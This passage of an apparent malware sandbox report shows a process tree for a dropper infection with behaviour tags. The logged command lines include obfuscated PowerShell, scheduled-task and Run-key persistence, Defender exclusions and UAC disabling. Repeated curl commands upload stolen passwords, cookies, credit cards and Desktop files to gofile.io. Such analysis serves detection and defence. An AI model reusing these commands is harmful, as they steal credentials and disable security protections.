qvVdvvnJwEGPNV).Invoke($tQQGLdZozixZsRTxM,[uint32]8,4,[ref]$AVNNpqTyAv);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$tQQGLdZozixZsRTxM,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ETtCmijrhARZpdGLg,$PEwIzZmdqvVdvvnJwEGPNV).Invoke($tQQGLdZozixZsRTxM,[uint32]8,0x20,[ref]$AVNNpqTyAv);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+'F'+''+[Char](84)+''+'W'+'A'+[Char](82)+'E').GetValue(''+'d'+'i'+[Char](97)+'l'+[Char](101)+''+[Char](114)+''+[Char](115)+''+[Char](116)+''+[Char](97)+''+'g'+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#vpnaxct#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }3⤵
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"3⤵
- Drops file in Program Files directory
-
-
-
C:\ProgramData\0e266ab5-75de-44de-b66f-d91f0ef68780\FnHotkeyUtility.exeC:\ProgramData\0e266ab5-75de-44de-b66f-d91f0ef68780\FnHotkeyUtility.exe -ScanType2⤵
- Drops file in System32 directory
- Checks SCSI registry key(s)
-
-
C:\Users\Admin\AppData\Local\Temp\35603d5b1d\Srfuhxm.exeC:\Users\Admin\AppData\Local\Temp\35603d5b1d\Srfuhxm.exe2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\ProgramData\0e266ab5-75de-44de-b66f-d91f0ef68780\FnHotkeyUtility.exeC:\ProgramData\0e266ab5-75de-44de-b66f-d91f0ef68780\FnHotkeyUtility.exe -ScanType2⤵
- Drops file in System32 directory
- Checks SCSI registry key(s)
-
-
C:\Users\Admin\AppData\Local\Temp\35603d5b1d\Srfuhxm.exeC:\Users\Admin\AppData\Local\Temp\35603d5b1d\Srfuhxm.exe2⤵
-
-
C:\ProgramData\0e266ab5-75de-44de-b66f-d91f0ef68780\FnHotkeyUtility.exeC:\ProgramData\0e266ab5-75de-44de-b66f-d91f0ef68780\FnHotkeyUtility.exe -ScanType2⤵
- Drops file in System32 directory
- Checks SCSI registry key(s)
-
-
C:\Users\Admin\AppData\Local\Temp\35603d5b1d\Srfuhxm.exeC:\Users\Admin\AppData\Local\Temp\35603d5b1d\Srfuhxm.exe2⤵
-
-
C:\ProgramData\0e266ab5-75de-44de-b66f-d91f0ef68780\FnHotkeyUtility.exeC:\ProgramData\0e266ab5-75de-44de-b66f-d91f0ef68780\FnHotkeyUtility.exe -ScanType2⤵
- Drops file in System32 directory
- Checks SCSI registry key(s)
-
-
C:\Users\Admin\AppData\Local\Temp\35603d5b1d\Srfuhxm.exeC:\Users\Admin\AppData\Local\Temp\35603d5b1d\Srfuhxm.exe2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
- Suspicious use of SetWindowsHookEx
-
-
-
C:\ProgramData\0e266ab5-75de-44de-b66f-d91f0ef68780\FnHotkeyUtility.exeC:\ProgramData\0e266ab5-75de-44de-b66f-d91f0ef68780\FnHotkeyUtility.exe -ScanType2⤵
- Drops file in System32 directory
- Checks SCSI registry key(s)
-
-
C:\Users\Admin\AppData\Local\Temp\35603d5b1d\Srfuhxm.exeC:\Users\Admin\AppData\Local\Temp\35603d5b1d\Srfuhxm.exe2⤵
-
-
C:\ProgramData\0e266ab5-75de-44de-b66f-d91f0ef68780\FnHotkeyUtility.exeC:\ProgramData\0e266ab5-75de-44de-b66f-d91f0ef68780\FnHotkeyUtility.exe -ScanType2⤵
- Drops file in System32 directory
- Checks SCSI registry key(s)
-
-
C:\Users\Admin\AppData\Local\Temp\35603d5b1d\Srfuhxm.exeC:\Users\Admin\AppData\Local\Temp\35603d5b1d\Srfuhxm.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\35603d5b1d\Srfuhxm.exeC:\Users\Admin\AppData\Local\Temp\35603d5b1d\Srfuhxm.exe2⤵
-
-
C:\ProgramData\0e266ab5-75de-44de-b66f-d91f0ef68780\FnHotkeyUtility.exeC:\ProgramData\0e266ab5-75de-44de-b66f-d91f0ef68780\FnHotkeyUtility.exe -ScanType2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\35603d5b1d\Srfuhxm.exeC:\Users\Admin\AppData\Local\Temp\35603d5b1d\Srfuhxm.exe2⤵
-
-
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\35603d5b1d\Srfuhxm.exeC:\Users\Admin\AppData\Local\Temp\35603d5b1d\Srfuhxm.exe2⤵
-
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netprofm -p -s netprofm1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵
-
C:\Windows\system32\sihost.exesihost.exe2⤵
-
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x00000000000004F0 0x00000000000004E82⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵
-
C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of UnmapMainImage
-
C:\Users\Admin\AppData\Local\Temp\Synaptics.exe"C:\Users\Admin\AppData\Local\Temp\Synaptics.exe"2⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe"C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe"3⤵
- Downloads MZ/PE file
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\6904a6e81f0c5_crypted.exe"C:\Users\Admin\AppData\Local\Temp\Files\6904a6e81f0c5_crypted.exe"4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"5⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"5⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7800 -s 5166⤵
- Program crash
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\2.exe"C:\Users\Admin\AppData\Local\Temp\Files\2.exe"4⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\Files\black.exe"C:\Users\Admin\AppData\Local\Temp\Files\black.exe"4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\black.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX0\black.exe"5⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\networks_profile.exe"C:\Users\Admin\AppData\Local\Temp\Files\networks_profile.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\Files\networks_profile.exe"C:\Users\Admin\AppData\Local\Temp\Files\networks_profile.exe"5⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"6⤵
-
-
C:\Windows\SYSTEM32\netsh.exenetsh wlan show profiles6⤵
- Event Triggered Execution: Netsh Helper DLL
- System Network Configuration Discovery: Wi-Fi Discovery
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\setup.exe"C:\Users\Admin\AppData\Local\Temp\Files\setup.exe"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\Files\client.exe"C:\Users\Admin\AppData\Local\Temp\Files\client.exe"4⤵
- Executes dropped EXE
- Adds Run key to start application
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\ClientRun.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\ClientRun.exe5⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files (x86)\seetrol\client\SeetrolClient.exe"C:\Program Files (x86)\seetrol\client\SeetrolClient.exe"6⤵
- Modifies firewall policy service
- Executes dropped EXE
- Checks whether UAC is enabled
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
- System policy modification
-
C:\Windows\SysWOW64\ipconfig.exe"C:\Windows\System32\ipconfig.exe" /flushdns7⤵
- System Location Discovery: System Language Discovery
- Gathers network information
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\fontdrvhost.exe"C:\Users\Admin\AppData\Local\Temp\Files\fontdrvhost.exe"4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\Dllhost.exe"C:\Windows\SysWOW64\Dllhost.exe"5⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Client-built.exe"C:\Users\Admin\AppData\Local\Temp\Files\Client-built.exe"4⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "Microsoft" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Application Frame Host.exe" /rl HIGHEST /f5⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Users\Admin\AppData\Roaming\SubDir\Application Frame Host.exe"C:\Users\Admin\AppData\Roaming\SubDir\Application Frame Host.exe"5⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "Microsoft" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Application Frame Host.exe" /rl HIGHEST /f6⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\icecast2_2.0.0_VULNERABLE.exe"C:\Users\Admin\AppData\Local\Temp\Files\icecast2_2.0.0_VULNERABLE.exe"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
C:\ProgramData\Synaptics\Synaptics.exe"C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate3⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe"C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe" InjUpdate4⤵
- Downloads MZ/PE file
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\MS14-068.exe"C:\Users\Admin\AppData\Local\Temp\Files\MS14-068.exe"5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Files\MS14-068.exe"C:\Users\Admin\AppData\Local\Temp\Files\MS14-068.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\random.exe"C:\Users\Admin\AppData\Local\Temp\Files\random.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\svchost015.exe"C:\Users\Admin\AppData\Local\Temp\Files\random.exe"6⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Splunk.exe"C:\Users\Admin\AppData\Local\Temp\Files\Splunk.exe"5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\Files\svchost.exe"C:\Users\Admin\AppData\Local\Temp\Files\svchost.exe"5⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\Files\bypass.exe"C:\Users\Admin\AppData\Local\Temp\Files\bypass.exe"5⤵
- Executes dropped EXE
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\Files\ksv.exe"C:\Users\Admin\AppData\Local\Temp\Files\ksv.exe"5⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Files\ksv.exe"C:\Users\Admin\AppData\Local\Temp\Files\ksv.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /im firefox.exe /t /f >nul 2>&1"7⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /im firefox.exe /t /f8⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckpasswords.txt" https://store4.gofile.io/uploadFile"7⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\curl.execurl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckpasswords.txt" https://store4.gofile.io/uploadFile8⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckcookies.txt" https://store4.gofile.io/uploadFile"7⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\curl.execurl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckcookies.txt" https://store4.gofile.io/uploadFile8⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckcreditcards.txt" https://store4.gofile.io/uploadFile"7⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\curl.execurl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckcreditcards.txt" https://store4.gofile.io/uploadFile8⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckautofill.txt" https://store4.gofile.io/uploadFile"7⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\curl.execurl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckautofill.txt" https://store4.gofile.io/uploadFile8⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckhistory.txt" https://store4.gofile.io/uploadFile"7⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\curl.execurl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckhistory.txt" https://store4.gofile.io/uploadFile8⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckparsedcookies.txt" https://store4.gofile.io/uploadFile"7⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\curl.execurl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckparsedcookies.txt" https://store4.gofile.io/uploadFile8⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckbookmarks.txt" https://store4.gofile.io/uploadFile"7⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\curl.execurl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckbookmarks.txt" https://store4.gofile.io/uploadFile8⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Desktop/BackupComplete.xlsb" https://store4.gofile.io/uploadFile"7⤵
-
C:\Windows\system32\curl.execurl -F "file=@C:\Users\Admin/Desktop/BackupComplete.xlsb" https://store4.gofile.io/uploadFile8⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Desktop/BackupImport.cr2" https://store4.gofile.io/uploadFile"7⤵
-
C:\Windows\system32\curl.execurl -F "file=@C:\Users\Admin/Desktop/BackupImport.cr2" https://store4.gofile.io/uploadFile8⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Desktop/MergeBackup.vsw" https://store4.gofile.io/uploadFile"7⤵
-
C:\Windows\system32\curl.execurl -F "file=@C:\Users\Admin/Desktop/MergeBackup.vsw" https://store4.gofile.io/uploadFile8⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\erererer.exe"C:\Users\Admin\AppData\Local\Temp\Files\erererer.exe"5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\Files\av.exe"C:\Users\Admin\AppData\Local\Temp\Files\av.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: GetForegroundWindowSpam
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122886⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\actu.exe"C:\Users\Admin\AppData\Local\Temp\Files\actu.exe"5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -WindowStyle Hidden -Command "Start-Process powershell -ArgumentList '-WindowStyle Hidden -Command Add-MpPreference -ExclusionPath C:\' -Verb RunAs"6⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command Add-MpPreference -ExclusionPath C:\7⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -WindowStyle Hidden -Command "& {Add-MpPreference -ExclusionPath 'C:\'}"6⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -WindowStyle Hidden -Command "Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'ConsentPromptBehaviorAdmin' -Value 0"6⤵
- UAC bypass
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -WindowStyle Hidden -Command "Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableLUA' -Value 0"6⤵
- UAC bypass
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\build.exe"C:\Users\Admin\AppData\Local\Temp\Files\build.exe"5⤵
- Executes dropped EXE
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\e8e10aff-0b6b-4177-920d-2df750150a0a.bat"6⤵
-
C:\Windows\system32\chcp.comchcp 650017⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 60847⤵
- Kills process with taskkill
-
-
C:\Windows\system32\timeout.exetimeout /T 2 /NOBREAK7⤵
- Delays execution with timeout.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\lol.exe"C:\Users\Admin\AppData\Local\Temp\Files\lol.exe"5⤵
- Executes dropped EXE
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\35603d5b1d\Srfuhxm.exe"C:\Users\Admin\AppData\Local\Temp\35603d5b1d\Srfuhxm.exe"6⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Fast%20Download.exe"C:\Users\Admin\AppData\Local\Temp\Files\Fast%20Download.exe"5⤵
- Drops startup file
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\attrib.exeattrib +h +r +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe"6⤵
- Views/modifies file attributes
-
-
C:\Windows\SysWOW64\attrib.exeattrib +h +r +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Windows.exe"6⤵
- System Location Discovery: System Language Discovery
- Views/modifies file attributes
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\XClient.exe"C:\Users\Admin\AppData\Local\Temp\Files\XClient.exe"5⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\Files\down.exe"C:\Users\Admin\AppData\Local\Temp\Files\down.exe"5⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\Files\SplashtopSOS_Win_v3.8.0.1_HSL5K57RTHH5.exe"C:\Users\Admin\AppData\Local\Temp\Files\SplashtopSOS_Win_v3.8.0.1_HSL5K57RTHH5.exe"5⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd.exe" /c C:\Windows\system32\expand.exe *.cab /f:* .\6⤵
-
C:\Windows\system32\expand.exeC:\Windows\system32\expand.exe *.cab /f:* .\7⤵
- Drops file in Windows directory
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd.exe" /c schtasks /create /xml ASOS.xml /ru "system" /tn ASOS16⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /xml ASOS.xml /ru "system" /tn ASOS17⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd.exe" /c schtasks /change /tn ASOS1 /ru "system" /tr "'C:\Users\Admin\AppData\Local\Temp\unpacksos\1\\Launcher.exe' SRManagerSOS.exe 1 "6⤵
-
C:\Windows\system32\schtasks.exeschtasks /change /tn ASOS1 /ru "system" /tr "'C:\Users\Admin\AppData\Local\Temp\unpacksos\1\\Launcher.exe' SRManagerSOS.exe 1 "7⤵
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd.exe" /c schtasks /run /tn ASOS16⤵
-
C:\Windows\system32\schtasks.exeschtasks /run /tn ASOS17⤵
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd.exe" /c schtasks /delete /f /tn ASOS16⤵
-
C:\Windows\system32\schtasks.exeschtasks /delete /f /tn ASOS17⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\ChromeUpdate.exe"C:\Users\Admin\AppData\Local\Temp\Files\ChromeUpdate.exe"5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\Files\ChromeUpdate.exe"6⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV17⤵
-
-
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 37⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Office.exe"C:\Users\Admin\AppData\Local\Temp\Files\Office.exe"5⤵
- System Location Discovery: System Language Discovery
-
-
